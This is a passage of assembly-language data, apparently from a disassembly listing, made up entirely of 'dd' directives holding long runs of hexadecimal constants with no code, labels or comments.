		dd 2AA90FD9h, 7C910309h, 6CFD7F22h, 8051313Dh, 9931CC64h
		dd 1C286CBh, 40F1EFEDh,	801B266Fh, 0A59ACF78h, 7DE4CCCh
		dd 0F7E5AC76h, 0F2733D6h, 823C2100h, 16C7EFCBh,	0ABB60011h
		dd 9C7E3BEBh, 0F606391Dh, 0CCF3641Ah, 7C8552D8h, 0C30EBE2h
		dd 52DC03EEh, 0A8E30484h, 0F6D81D83h, 3A040F86h, 0C9C78F55h
		dd 1870883h, 0D1703E09h, 20C691C0h, 16407504h, 0B9196024h
		dd 99E1B45Dh, 2C49F303h, 0E8A68242h, 0F6DBE314h, 59D4244Ah
		dd 80A41108h, 70E9D2B4h, 0E0448CBAh, 0D2BF0349h, 44A2A3Fh
		dd 9FC09189h, 0B3C062C9h, 769AF882h, 0FC940688h, 21A88D6Fh
		dd 0C580E209h, 0DB5001FDh, 0D1FCCF48h, 203C5896h, 6590B032h
		dd 0A860A004h, 7021FDD2h, 0B34DC05Ah, 640EF5D2h, 230FDF8Fh
		dd 0A8536D08h, 283D3CC1h, 1D0C354h, 9BE59489h, 0D5164546h
		dd 0F34180F9h, 74EDC71Eh, 98594831h, 0A0131715h, 82D9BF00h
		dd 44DB752Ch, 200E8F30h, 18CD8878h, 380FFFDAh, 6E400D11h
		dd 79D30342h, 68E502CFh, 6EF790Fh, 9CC67CD5h, 48E82E0Eh
		dd 5301B6CEh, 1B5CEDFFh, 78408B3Fh, 58008C98h, 4AB200BBh
		dd 639765FCh, 0DC911E9Bh, 0D918FED1h, 6724AC03h, 0F41FB929h
		dd 78C88h, 0B15AA58Eh, 55BD7E4Ah, 53CC8000h, 9AAF0ADEh
		dd 0E6DC303Dh, 0CE4C2AC0h, 0ACCF3003h, 10C6DBABh, 3DEB6A8h
		dd 0FDBA0BF8h, 0BE590253h, 0D9AB0A3Eh, 0D11162E0h, 18E24F3Ah
		dd 93200BBDh, 120D0036h, 0FB57E1CEh, 6D00A6FEh,	68F10941h
		dd 0F0EA95Dh, 34ED9CC1h, 0F823803Bh, 0D2B201A2h, 18AA70EBh
		dd 0BD4788FBh, 0C1CCD204h, 9C80D635h, 0C3B74440h, 0E0E5CE58h
		dd 0B58806F4h, 4480A730h, 0E7F060E4h, 1E71032Ch, 50884CAFh
		dd 673513B0h, 0F0690F62h, 948C08FFh, 0E5B8645Eh, 190A008Ch
		dd 5D7DA7DCh, 5C01841Dh, 15C6D73Eh, 60A9E975h, 60CCD398h
		dd 12456220h, 1060980h,	37D5FC8h, 0E470201Ch, 0FE59981Fh
		dd 0D63FF02Ah, 0DC92F3E0h, 8F22CB3Eh, 85A44Bh, 0A3B23825h
		dd 157F070Ah
		dd 0E25E553Fh, 7A6044EDh, 9D3993C1h, 0AE608094h, 5D88F02Eh
		dd 0F2560F1Fh, 2723302Fh, 0B8A894DFh, 0AB001C35h, 481E269Fh
		dd 957A851h, 9E4C9A2Dh,	5A19EA80h, 0B3033E52h, 0E942DDD1h
		dd 0A72DC0A6h, 18E8F1DCh, 6C214C62h, 295B1875h,	8ABE189Ch
		dd 3970D8F6h, 10FBD628h, 20AFD920h, 78069FDEh, 0D32F9E9Ch
		dd 543E1F11h, 40598067h, 5851DBC4h, 212808CCh, 676D0011h
		dd 0CC9B8C86h, 54062F3Bh, 9E79A259h, 81F92058h,	0A3BADE03h
		dd 0C85FFD50h, 56102Ch,	6A8D5D41h, 989504A1h, 0E4D0F800h
		dd 86EB2065h, 0BF39C09Ah, 57D188Ah, 0D2FBBD06h,	6008E51Ch
		dd 95582194h, 0CE00C218h, 0C9B3C133h, 60B5A2A6h, 28DF80CCh
		dd 0F0C0D262h, 0E423D7BFh, 60D84124h, 5203935Dh, 9B32E359h
		dd 300896AEh, 0E420D7C9h, 0CB0393E8h, 0AAC63861h, 0A64D935Ch
		dd 20948058h, 0CDFD33ABh, 3CD85B10h, 0BA00CE0Ch, 0EE793E54h
		dd 3503D95h, 27A59861h,	5CA86744h, 5B00ABB9h, 6046DEDBh
		dd 1317BCAh, 17A49CA9h,	209AB080h, 0D03D707h, 5CBF449Dh
		dd 843CB874h, 225F03A2h, 11078A8Dh, 0C2917AE8h,	0B7A6C700h
		dd 17B88506h, 0E2CB2472h, 212E0323h, 59F041ECh,	8E00A06Eh
		dd 1A983F07h, 0D58328h,	8AA71E50h, 16619E97h, 0BEB66E0Fh
		dd 0FE638066h, 5F81CBh,	1E2DB754h, 4FF6D18Dh, 671A400h
		dd 4AAE99DDh, 0CFAF00F3h, 0C413F293h, 4378521Eh, 3F0031F4h
		dd 1835A548h, 1637536h,	0CCFCC8ACh, 9D19BE9Fh, 7B9D2F48h
		dd 0C1F68F00h, 3F560Bh,	0F8887F6Ch, 9D2BD442h, 3CD1C43Eh
		dd 195E00F6h, 82AD8B60h, 54108E3h, 8F00F747h, 8C94C21Ch
		dd 0E1771EAh, 86CCA148h, 54B9F820h, 10C0C045h, 6B64EABFh
		dd 0BE76072Fh, 60E3FCA5h, 0D4AD0E06h, 0C2DA741Ch, 98FE294Fh
		dd 0EB5670h, 172FD4Eh, 0E1F741D2h, 38314688h, 0E5817014h
		dd 0A75DFC71h, 4FC881A6h, 790A6B5Ch, 0E618D0h, 0AB63DC39h
		dd 33FF1C9Bh, 0F48CCF00h, 8EA8A7A6h, 4C072A75h,	0A0E4318Ch
		dd 8408F619h, 8EF81469h, 2FC8BB80h, 18450E88h, 21E07AF4h
		dd 943B31C9h, 4A872500h, 0E78CB7E9h, 895667C0h,	43EEB02Bh
		dd 8118D5ABh, 0A018A562h, 3977008Ch, 38DF0AEFh,	42058397h
		dd 8F2AC0F4h, 4DBA8BC0h, 2DFB1460h, 8D00B430h, 0B756941Fh
		dd 0B83DEB6Ah, 3E6F8079h, 0F5970195h, 377BDFh, 73E4E9AEh
		dd 0B1EB2766h, 2AA3400h, 2FB381BFh, 0CF830358h,	50D9F003h
		dd 0E0A2F1C9h, 0DD01AE27h, 2E6D5452h, 408F9961h, 807F49DAh
		dd 0B5D8F51h, 0DF000147h, 285E2F50h, 983D52D0h,	0C97806ABh
		dd 20497405h, 65792776h, 20D8F529h, 30290FC2h, 0F61DD96Eh
		dd 30304988h, 65A474h, 5448F7Bh, 29CD755h, 21C048E8h, 9365CF95h
		dd 213200DBh, 90C9ADC1h, 0F140EF19h, 31960054h,	9FE2B40Ah
		dd 250080B8h, 0D88FDFDCh, 38152DAh, 0A650FD18h,	300022D0h
		dd 97707D9h, 0C645FA3h,	14A4DD20h, 21C02B08h, 8A091EE5h
		dd 0F7D01422h, 62009892h, 0EB4F6E75h, 0B4A0322Dh, 0AD18DB11h
		dd 53599680h, 0EC663D21h, 0EEF999E0h, 711C9D91h, 560C74C2h
		dd 0C1E5089Ah, 91E99C21h, 371CF07Ah, 3A8DF405h,	0DC0F0C2Ch
		dd 0D0E9143h, 989BE65Dh, 1A4C823h, 5FA10979h, 88361814h
		dd 90060E7h, 747A5C78h,	638FAB70h, 398B581Bh, 9EFA918h
		dd 3C3C5C91h, 8E803E4Eh, 0B73595BBh, 2D008407h,	0E3144B3Fh
		dd 2755081h, 0CBAC25D9h, 84802C41h, 0FBDF1159h,	0BB6C5D3Bh
		dd 0A5A8647Ah, 0A4097E60h, 111C5F23h, 65E6002Ah, 99CA6309h
		dd 0F78B079Dh, 5371BABCh, 0B07B5993h, 53702406h, 610020Bh
		dd 5BF41427h, 8CEE40B4h, 186749h, 75D4C31Fh, 0AABCD8h
		dd 6F72197Eh, 36DECF09h, 59AD2401h, 5662660Eh, 30832A60h
		dd 0BF882E95h, 0DBE018A7h, 80AE2505h, 0EC222445h, 91ED301Fh
		dd 0EA719E11h, 9B87FE88h, 1DF091F4h, 8A806Ah, 7CD3F860h
		dd 83ADC665h, 2C267228h, 8766446h, 92719F91h, 96400AC4h
		dd 1F9891F7h, 0F9A17F30h, 3E813446h, 630F682Eh,	0B1A00DD4h
		dd 2AA7C9A9h, 0FB29BB09h, 0BE0CA079h, 48E32F5Fh, 0D40068A8h
		dd 0D892740h, 3091E75Ah, 7C86A791h, 6C563809h, 0B2F22DCh
		dd 6B0963E4h, 0E6313801h, 0F4A8E9F9h, 0BC0CD3FBh, 60CA27DEh
		dd 3C31C737h, 592DE30h,	4135EFCCh, 0C3588EB0h, 0DFEC4777h
		dd 1382D60Fh, 9C8A4981h, 2C7301A2h, 9CD72283h, 0B170D1C8h
		dd 3B29C0Bh, 98195F84h,	0DBA012E9h, 0C008C1Dh, 29FB019Dh
		dd 1C419217h, 13022FE1h, 584C04ACh, 0D7AC8190h,	1022094Eh
		dd 8C302CE2h, 55A900C6h, 0D32BAF9Ah, 0A0C117CDh, 56DB808Eh
		dd 1EFCD0A0h, 54F03BFh,	4E1058F4h, 0C68607DCh, 71F08146h
		dd 0EC1B9F00h, 0DBFCB82Bh, 0FD403AD3h, 77554977h, 561BA700h
		dd 0AFEF2B47h, 21D73201h, 4B8169C3h, 0C0025C20h, 0F7BE7E68h
		dd 5740BD5Bh, 91CB192Ah, 0F558993Eh, 7B40062Fh,	0D0305080h
		dd 9DA8AAB7h, 802911DCh, 0D4BFECB7h, 13A07DD3h,	473C7DEBh
		dd 0E14ECE0Ch, 523058F7h, 9C30C97Ch, 2BEF341Bh,	0A47C4CF0h
		dd 1BEA1121h, 39C31D01h, 577BA371h, 0DB406040h,	76049850h
		dd 14868A58h, 0EE12F17Dh, 6C3E53A3h, 0D5002823h, 8A5761C1h
		dd 1C4348ECh, 4050EA24h, 9246D41Bh, 404C23F5h, 5E4C13B0h
		dd 0E8F09458h, 61078CE1h, 0B1BBAC6Eh, 83803E7Fh, 51D4DE18h
		dd 828D3D6h, 0A3C0F5A0h, 218F7865h, 5F9102CCh, 65CA9601h
		dd 0F868CB88h, 0C0A3DB32h, 0FB9C40FCh, 0A5C10Fh, 3EEC0EBFh
		dd 0C4741DD3h, 0E7068900h, 0C7B92078h, 589F1376h, 0CC18480Eh
		dd 80ACB569h, 318A64Ah,	2714D068h, 236CD890h, 65BE01F4h
		dd 18B48F79h, 0C9978852h, 5EAB651Fh, 682491ECh,	561D809h
		dd 504886ECh, 97BC092h,	4465FC7h, 99002322h, 0EF060962h
		dd 1D6C6BBDh, 44DFCC77h, 0D467CF5Eh, 0E1CC05Ch,	3C90032Eh
		dd 98D16044h, 0F0FF4C78h, 23C29E3Fh, 91EA0B62h,	98E20D04h
		dd 98880D00h, 2932FEF5h, 1D053F7h, 0F35A4931h, 0F940204Bh
		dd 98CFD33Eh, 0CE8833B3h, 0FD3D26A9h, 8C0115B5h, 6F758F06h
		dd 7C263048h, 60BF20B6h, 71A55151h, 5FDB245Bh, 0EF790654h
		dd 10B081FFh, 65CF320h,	8E338132h, 89303953h, 4280410Eh
		dd 457050h, 6FF0E1CBh, 472F5C6Bh, 9E900A50h, 0A4E65C90h
		dd 0F4915EE8h, 71BBC400h, 4D0D74DAh, 7CFC5Ch, 5FB965Ah
		dd 0DF644FA1h, 4B075072h, 0FC533E98h, 4532E8D0h, 675818D8h
		dd 0CD499866h, 4F7C1900h, 0EA77DC07h, 0DB1F02C9h, 50EEB36Bh
		dd 83991341h, 0C75FB40h, 3A583F12h, 0D8D1C903h,	5D8BA081h
		dd 93067FD1h, 230CA6B0h, 2476F987h, 8B81901h, 0B420D8B5h
		dd 9C54500h, 0BBE58B72h, 73D97EF3h, 0F1C89149h,	9A01852h
		dd 0AC7C2C3Fh, 0B656C410h, 0F0FEE700h, 7242CDB3h, 37BD0B80h
		dd 50373E3Dh, 797D4081h, 33D8A504h, 147A12FDh, 0FF100411h
		dd 264F074Bh, 35EEA3h, 0E98B3639h, 119063C3h, 2785938h
		dd 0F9C8ECB1h, 0C57F09Bh, 0A78005C9h, 18052740h, 0E383580Fh
		dd 0B0502C90h, 61F71FE1h, 518F8E81h, 0A4CC2713h, 0A3720034h
		dd 98F5F9D3h, 0A0190194h, 49EBD1F6h, 8E20BD3Fh,	6AA4A5CBh
		dd 6E702096h, 6588C84h,	43A4BCA8h, 487E0054h, 0A9DA95EBh
		dd 53701202h, 2998C03Fh, 63127314h, 0E020D4ABh,	13FA8EF4h
		dd 40D3D0B7h, 4ABF5230h, 40072B3h, 0C3E20737h, 1F5D7BE5h
		dd 41019CE9h
		dd 0A40C8977h, 30A2D990h, 2C040D0Ch, 0F58094Eh,	0BB758101h
		dd 0E1A840A1h, 0DE60F8ADh, 90695671h, 0D25C0145h, 0A370049Dh
		dd 0E5422CFh, 2C8B91B4h, 98101Ah, 317C59B7h, 97E73A05h
		dd 0A203D77Dh, 0A4F809F6h, 7F20B8B5h, 0BD2F830h, 9DE936CFh
		dd 711B080h, 0D001F0Ah,	542B6104h, 78507E58h, 0AFFC0262h
		dd 6AE6B14Dh, 5130FC60h, 0AAA87F80h, 567B60A4h,	884F01CBh
		dd 814C642Ah, 0EB7F065h, 8BECDF09h, 0E57C2079h,	1A25BE9h
		dd 6DC1C7EAh, 0DC7DCF26h, 7F3D8D85h, 0E9F8C59h,	924F401Eh
		dd 0D17C1F30h, 3E4E403Dh, 319A04A5h, 4B386F00h,	2BD72A13h
		dd 0B6820EE1h, 0A6408B30h, 0E56710C0h, 58F1BE00h, 89F3B9ABh
		dd 0E957180h, 27C59E62h, 77B2E943h, 16C01CB3h, 3F001DB4h
		dd 0F0D268F7h, 0B0924E79h, 0B03A03B6h, 20BBA6C4h, 0B2801800h
		dd 30039ECDh, 0D7473CC7h, 5665E20Fh, 265F7B07h,	0C53928D5h
		dd 610BB14Bh, 86E4A8AEh, 0C2B0007h, 0F377F657h,	950079D2h
		dd 3E434F1Ch, 1F5AFE37h, 0C1C51A4Dh, 0F77132B7h, 0CA144107h
		dd 4A68F846h, 0BCC7FE3Fh, 7876B0A2h, 3202B7F3h,	7ED1AACEh
		dd 0A8151C90h, 0C78519C6h, 1B36E8C0h, 98943055h, 0E0A226D4h
		dd 0BEC0C31Ah, 2142F171h, 1D9EA15Ch, 91C8B800h,	0FBAF207h
		dd 3510B08Ch, 6E34B7ABh, 0DC40201Fh, 1A72F7BDh,	0D8F6D414h
		dd 21640090h, 3D9F7057h, 0B1506215h, 0B3E075A8h, 2C015A45h
		dd 95F1F5C9h, 86D83BC8h, 28C46337h, 3103F915h, 0B14258ECh
		dd 0B502E0C7h, 186460E9h, 0E5FD7881h, 562FBD0Ch, 88C3785Ah
		dd 67015EC9h, 330692CBh, 0A04128A6h, 8010745Fh,	37506ECAh
		dd 27002C98h, 0D14DD02Eh, 7A925EC2h, 14350065h,	0F974BEB0h
		dd 0B330023Ah, 0A65779EBh, 6124A993h, 0B1745310h, 0B0FE7603h
		dd 0FC15FDh, 0EE46F7C1h, 0D76D4DB5h, 0E125A14h,	0FA8203F0h
		dd 0B0F966D0h, 553B9D2Bh, 80F0B8DBh, 18A5611Ah,	843FDD47h
		dd 875E5A48h, 32790C80h, 0EEC98EFh, 2B2E9692h, 0E2FE4940h
		dd 8F0697DBh, 704D76B8h, 1ED9E481h, 80698CBCh, 5D122BBFh
		dd 9A30EA26h, 65B52130h, 0CF28078Ah, 0B08623F0h, 0B642EC82h
		dd 0D55A89A0h, 0F4171D2Ah, 0DDAE7801h, 86EA0629h, 12734FD8h
		dd 3A60AFh, 0AB974D30h,	3354C934h, 46191DE4h, 37A167E7h
		dd 3AD95D60h, 8A809A18h, 8DBD5FBCh, 700CC29Eh, 481E88F7h
		dd 674C7396h, 0A2FAA134h, 8887A7BAh, 0A4D94C15h, 2734190Ch
		dd 1C86E0CCh, 9437ACCAh, 303CD4C4h, 0EFE2D300h,	73D0DFA9h
		dd 0D70E6212h, 0B751EF00h, 0CF1E3Fh, 0FF3630E3h, 4216AC11h
		dd 74F4252Ch, 5A48F700h, 3EAE97C7h, 2060E766h, 9277B1C2h
		dd 0C363590Bh, 580D8FFAh, 0C0AFE608h, 925FD120h, 0F1002199h
		dd 8D9CD62Bh, 770CC4F0h, 0E3C60062h, 81D3458h, 4D33B49Dh
		dd 0C16C3871h, 44403175h, 0F243A622h, 0EA4764Eh, 23DC445Ah
		dd 3F212D8Ch, 0B00040FAh, 0A0B71321h, 0C38DD6B9h, 53362F30h
		dd 0DA30680Ch, 60ED31D3h, 0FA5AA1FBh, 0B7000762h, 88303391h
		dd 609FA413h, 81CD98F6h, 0C16CB49Ch, 8C5F9938h,	6B439002h
		dd 1923F44Eh, 0B805101Bh, 3B980043h, 576A5EAEh,	241880F3h
		dd 0CA58E735h, 0C45AF853h, 47C7DDA1h, 9B704C5h,	5906868Fh
		dd 8E700081h, 9C9EB31Ch, 19010A37h, 4810869h, 5087AEE1h
		dd 0D0F84846h, 0A76C1AE4h, 99239807h, 0EE008297h, 0E8CCABC9h
		dd 0B83C00C8h, 0A8B4811h, 719065B4h, 0BE3C5477h, 73380D1h
		dd 0FC3C2252h, 9CB15C88h, 0CF6E1B00h, 812C9E7Bh, 0A4D59A00h
		dd 0E0CEF339h, 615D0054h, 0DF51FC1Fh, 23019708h, 0C08A3E89h
		dd 0A1F4DA09h, 3A5FE6Bh, 0D387DFE8h, 0D2C02331h, 6C00AB0Bh
		dd 91F72D81h, 7E9CEE4h,	3E797856h, 7F043AF8h, 0B01AF560h
		dd 0D668A1A9h, 0FEF621D8h, 0E83500A1h, 33F77741h, 4D1E2F62h
		dd 2140A08Eh, 9313C990h, 0A1440C06h, 0AF29D208h, 84626344h
		dd 0DE883F73h, 66FB88ECh, 8875F588h, 0DF88A72Bh, 218C8BEFh
		dd 1712465Eh, 88C3FA10h, 0F4801843h, 14AF00D2h,	0D6A70897h
		dd 3D3E548Ch, 0C169807Dh, 35FCF128h, 5BEA00FEh,	0B481CC26h
		dd 0E70178ECh, 3DD0D1Dh, 40D8C3D1h, 0F3F90093h,	0FADBAAD0h
		dd 1EF68267h, 18E8E600h, 0ABC3DD79h, 7BB60059h,	0FA5D9825h
		dd 0A7C12A4h, 0D7C9A807h, 809B9B35h, 0C806AB40h, 0B09000BEh
		dd 0F6E5112Bh, 26C00A14h, 792DF205h, 5AC81FBBh,	7CE08395h
		dd 0BFB0C180h, 4008DCBh, 0CA295C6Dh, 7B76ADABh,	27A107D6h
		dd 0DA6C4Eh, 14EDE4ACh,	775F33Ch, 0D55B65EAh, 9D74F400h
		dd 397C00D9h, 934FA2Fh,	80004BB6h, 0D80D7026h, 7B90B3h
		dd 663A7A78h, 0E55DB476h, 5384C400h, 0AA040E68h, 0C2849E9h
		dd 51B19F00h, 53E65E1Bh, 0DC708A60h, 0CC7E711h,	16F42C78h
		dd 0F6002858h, 6D3E140Bh, 0E4908B9Bh, 936E009Ch, 0B4A2575Dh
		dd 0CF000CD6h, 0D364897Ch, 48FB7559h, 760E48FAh, 9507C0C1h
		dd 48D6006Eh, 0F85035E1h, 7E003084h, 2A36F279h,	7789F9h
		dd 1E840E80h, 26B8D862h, 915BC100h, 1CEAAA76h, 0B7441DF2h
		dd 0F40640E9h, 0FD74B180h, 0DC5118C0h, 7DB51197h, 50F01CDBh
		dd 8ED03095h, 8F0047D1h, 93531DC2h, 484172h, 0C4896235h
		dd 13C017FCh, 4F098600h, 0E1572503h, 2E8507D2h,	331D06E5h
		dd 5482A93Dh, 0B909A040h, 4ADE48h, 8D1422ACh, 0D67833h
		dd 0B0A354A1h, 7FE15A63h, 46F60C19h, 0E6D81224h, 0A3FB0013h
		dd 97F49035h, 7B01DD75h, 31810255h, 2EC85DB1h, 0EC9F0019h
		dd 0D31AC459h, 0B900B48Fh, 478DCA54h, 5735F9h, 91293E7h
		dd 0BD7E84Eh, 0C36BCE00h, 0AD99E0EEh, 0F9380019h, 63467220h
		dd 12015F93h, 1CEB83A7h, 0BBEC2A0Fh, 0F89F00C1h, 19B7E317h
		dd 5D16B328h, 641CBD54h, 0B6895604h, 45655880h,	8AB51C5Ah
		dd 3F4F40A5h, 78BA8BAAh, 71001C90h, 0C7DE53EDh,	0E062820h
		dd 5BBE5874h, 9EB095C0h, 8E0C3D3h, 0E2ADC900h, 8714BC90h
		dd 0E461008Dh, 0A2A0C702h, 2FB09D7Fh, 515C18C1h, 0D8F8ECA4h
		dd 0C97A1EC6h, 0C5FD8019h, 64AF662h, 69099300h,	0E1F24F01h
		dd 8B7F45h, 9E4325E5h, 94706854h, 7DEFE007h, 0F1E075ADh
		dd 49815Fh, 0B2652C88h,	824DA418h, 80D73F3Bh, 9E857FFCh
		dd 0E43B803Ah, 187466h,	4336A1ACh, 8C08F40Eh, 0C200B57Bh
		dd 0A2BB71C9h, 103D919h, 7F063144h, 0E469FBC0h,	0EF0061B9h
		dd 0C18118CEh, 7AF3BB65h, 940650A2h, 0F2D20054h, 6EE16837h
		dd 0A400FB70h, 5702B51Bh, 7C5B29h, 2185A01Dh, 626EA966h
		dd 2AF70600h, 3637402Fh, 48FB00EAh, 13BB292h, 1B981C86h
		dd 0AFE3B507h, 6C10ACCEh, 0A730C33h, 2E35F02Dh,	924C07CCh
		dd 0B8D281CDh, 8920205Fh, 60DFA000h, 5D946D13h,	0C0F648CFh
		dd 0D1548500h, 31AF6EE8h, 0A0CECC00h, 0A1907CE9h, 9825F40Ah
		dd 0E85500C5h, 3DEB80FDh, 474C4C5h, 4714Ch, 6B9186F7h
		dd 55409E4h, 0C68701A2h, 2F5EC27Bh, 0CF889843h,	40E1306Bh
		dd 85889788h, 64E4A724h, 0C6915900h, 0CFE9DDh, 0F16C1946h
		dd 0DA849717h, 0F8CE2903h, 804555CAh, 3B43321h,	0F6CD828Fh
		dd 0AE80117h, 184EF21Dh, 7C2CF9A0h, 101400C1h, 871F6E49h
		dd 2D020AEBh, 73B6FB51h, 306626h, 8FC050EAh, 4DFD6D6Eh
		dd 0EBE21300h, 430107D7h, 81140035h, 78823032h,	0B000C4E9h
		dd 0AAA539D6h, 3EF716B6h, 4080FC63h, 69919AD5h,	1000B874h
		dd 0FEDB236Fh, 30B3FFh
		dd 8544217Fh, 0D6F33F71h, 0D13CB976h, 14C003ABh, 0D82ED3F0h
		dd 3AE95DF9h, 3C804661h, 93C83730h, 6301FFD7h, 11633CAh
		dd 949D1BF3h, 0D0414744h, 7769C0ADh, 0A0004EA9h, 6671D206h
		dd 3D76ED14h, 9B000BE1h, 91DBC6B0h, 68003FB7h, 0AB43E9B3h
		dd 73842973h, 0F01200E1h, 66198B61h, 67007C75h,	0A9F69E91h
		dd 0B5C770h, 44528914h,	27931028h, 193E1B0Fh, 1F00F377h
		dd 0DA7F5037h, 10EF00E3h, 0AD12ABBBh, 94025BC8h, 9EE79D15h
		dd 6B97C07Bh, 9CDB00B1h, 0FAA2C90Bh, 0F0023D6h,	10D57F90h
		dd 300EDE5Dh, 4040B2E0h, 3C0344F3h, 56C359FBh, 9F73E807h
		dd 30F815h, 17FE18ECh, 7DDCF2D3h, 8CB20D00h, 0C5F410C2h
		dd 37880012h, 0EF7A66EBh, 0A0009E7Fh, 2769986Bh, 71EA28C8h
		dd 29E70045h, 0CA39B804h, 0AF07D04Ah, 4C80DF60h, 1CA7FB40h
		dd 0E7BE002Bh, 57557E45h, 0EA39226Ch, 2369206h,	1B4C6000h
		dd 0F81AF6Ah, 50E8678Bh, 932D1323h, 37538EF8h, 94B8C500h
		dd 0C7012A70h, 4EAC03BBh, 0D3E8267Eh, 0C22402A9h, 956328E0h
		dd 62D4C109h, 7E800E0h,	1DAC5D86h, 0ACB66466h, 36A702D3h
		dd 0AC046B8h, 945C7C53h, 85EF01E8h, 4318CB5Bh, 1EB309F8h
		dd 0DF762103h, 74BF87EAh, 0F1CD17A8h, 0E433ED49h, 3B0F2824h
		dd 0C6698E91h, 168CB79h, 5AE30A39h, 0D4533D96h,	0E70FEF10h
		dd 0C324E56Dh, 0B8F76193h, 22E15DCh, 12821CC4h,	0BC48F2E4h
		dd 0BD010717h, 4CB89C3Bh, 0D4FC940Dh, 0B34D0B6Fh, 2010E6E7h
		dd 0FF31C951h, 0D0A6200Ah, 5C07D0EFh, 0ADAE00A5h, 549D2327h
		dd 830119E6h, 81BDD7C0h, 0A6EC50EBh, 9B0B0001h,	0D2D37F41h
		dd 2004CB0h, 0C5ED5907h, 58E82FCBh, 3D023634h, 3EFB5D6h
		dd 956EB5C0h, 6B13091Ch, 0A07DE98Eh, 0A5F76378h, 71B20094h
		dd 8BE1C8E8h, 3A00A020h, 0DCABB5D9h, 0E25741CAh, 0F9BD583Dh
		dd 79D0AC02h, 3860CE23h, 0C5001331h, 4098E71Ah,	0B03ED680h
		dd 92A10E98h, 0E3E7C011h, 0D415F0FAh, 7C005A4Dh, 0A2917319h
		dd 509483Ah, 0A965637Ah, 0C4E6831Fh, 3B215D0h, 6E006C99h
		dd 280B4BFDh, 0F8CB3A9Eh, 0A98D4381h, 2840DAE3h, 813301E4h
		dd 6F2CC787h, 2DC01465h, 294242h, 9739D494h, 146FE134h
		dd 0E92C20CBh, 541F8B39h, 0C8305805h, 7157FD6h,	8FC365Bh
		dd 405A03C3h, 26E6AB6h,	38666B2Eh, 9BBD8184h, 83EBACC7h
		dd 0C32D55A2h, 4092D1EAh, 2EE80825h, 0B0D87F50h, 2E71C38h
		dd 64F7C03Ch, 58142D72h, 9DFB4600h, 0B13BD676h,	0FE940101h
		dd 0AEB352CAh, 2FE9C465h, 0C92B20Fh, 301421DBh,	4293501Eh
		dd 15C500A2h, 84CF0BAAh, 0B94ED60Bh, 0D1300057h, 7E0C3411h
		dd 0CDF8D0h, 96B14A54h,	49FAB509h, 21F3CB00h, 0DE8EB817h
		dd 0AB0A3BFDh, 90BC3104h, 0C77807Ah, 373FAD4Fh,	48F88513h
		dd 0C8C09740h, 5C8719F6h, 0AB0074ECh, 0E07581Fh, 0A1CB373h
		dd 6A80150Bh, 0FFBAA78Dh, 941224AFh, 877180D0h,	0D9BE3098h
		dd 6F842F00h, 5BC14365h, 75FA0085h, 37717B68h, 0A328971Dh
		dd 0F40F9026h, 618CFE1Fh, 16521E87h, 8B012C28h,	9343F855h
		dd 0A3EAF4A2h, 2A00677Bh, 0FCC12541h, 35F157h, 586BC40Eh
		dd 3E7971C0h, 9CE0DC24h, 8EE8FD01h, 0CED8145Eh,	7C1A3A1Fh
		dd 0DB90CD00h, 0A79B2068h, 7EC5AB05h, 0C4C04246h, 12C5B52h
		dd 0E0F54D17h, 308F24F4h, 424C7DCEh, 586A03B3h,	0F9480832h
		dd 0B370F7EEh, 40BD4E6Fh, 6E84383Ch, 4E00A75Dh,	27C983FBh
		dd 0C07B1994h, 2BE36A20h, 0AC047C12h, 0DA2F08F3h, 26B940B4h
		dd 8E2497AEh, 4E001082h, 332D92A6h, 5B94E899h, 0CA321889h
		dd 77D4EBBEh, 0F2F09E9h, 64807DB1h, 0F415F642h,	89301300h
		dd 0DC02C127h, 3B4E61Dh, 0EAC55394h, 8A98CFE8h,	1E381B87h
		dd 7700FAFCh, 7259BBE9h, 95815Bh, 990AE16Fh, 0A78923FBh
		dd 0BE8B5101h, 0E2829E5Ah, 77B3E0h, 0A04DD89Bh,	5CB04639h
		dd 1EF3FA00h, 4E07A53Dh, 2C8071E2h, 81CCDA2Eh, 0CFF3784Ch
		dd 0D530C8D2h, 0CF5792Eh, 7A65A602h, 0A44CE021h, 0C6236097h
		dd 0CF065725h, 46E4F000h, 0CEC3EC3Ah, 0EAC20378h, 0B7DCBF88h
		dd 209CC090h, 47FBB601h, 50435938h, 21C020h, 835B6FEBh
		dd 57F47371h, 23377700h, 4DD3FFB0h, 0A2E60039h,	50177D10h
		dd 0C12E5EADh, 3E8F88F8h, 15A5E012h, 96FED1h, 7999BC76h
		dd 0B005D9C9h, 6400584Bh, 0DE8AFF6Bh, 44A76F9h,	3A0F8C65h
		dd 0FD04827Dh, 0A1016458h, 7969B475h, 99E0F3E6h, 2291120Eh
		dd 0AA6CC093h, 3A00A171h, 61A86BBDh, 7FBCA6F1h,	9C680956h
		dd 40808DC7h, 0A8E02536h, 0C7A3DB24h, 75509F00h, 0E2233CCCh
		dd 17D30008h, 0FCF326B3h, 0CF2C5235h, 0C00CF83h, 887E9D27h
		dd 74BE00C0h, 0B0F53E2Ch, 0D104F21Ch, 60347765h, 0DB8FEC90h
		dd 93CD5C5Ch, 4B62F100h, 0DF24647Dh, 159ED017h,	97251800h
		dd 33F2AE9h, 0CBE6886Fh, 8D98CF62h, 6E1DE3B1h, 6B061217h
		dd 48CC67h, 0A3FD3230h,	0AF29631Fh, 0F898D60Fh,	0B51DC05Ch
		dd 5CFF5619h, 33CC835h,	0B6AF9400h, 964C9C8Ch, 74242800h
		dd 0C095A1C6h, 5B209AAh, 0C8003563h, 597FA8B0h,	0F802B800h
		dd 70828876h, 0F2180065h, 0A093D185h, 3301F9E3h, 80E4ABA6h
		dd 32E47804h, 1D350038h, 8C64473Ch, 30001EDEh, 5311FB4Dh
		dd 0BC0CC2Dh, 0B59AACD8h, 26ED10A0h, 3F546970h,	0D60508D8h
		dd 770F9901h, 88F20AC3h, 7C7D3BF5h, 0B5C0034Bh,	1FB176FEh
		dd 5498DEC0h, 67B82700h, 318377E3h, 0A8EA3Dh, 95C11236h
		dd 0C62B1F9Bh, 980A1C01h, 10B337C5h, 0C4407BD5h, 7F0C311h
		dd 0F205BE76h, 80F8E60Ch, 9B003B76h, 2631029Eh,	5CD98333h
		dd 5F2E6411h, 0BDBF041Bh, 8B54E09Fh, 934E709Eh,	0ED00C05Fh
		dd 1FB32242h, 0EB0F0FD6h, 5FE1C06Ah, 0ECEFF59Ch, 0A90078F7h
		dd 55FAD38Dh, 4C28EADh,	4B0A7C64h, 0B0F3C7F4h, 45860801h
		dd 482C590Ch, 377189h, 0CA07610Ch, 0FD4D424Ah, 885B5500h
		dd 33E27C1Eh, 70980Bh, 6BF8F08Ch, 5BE544FBh, 9078A626h
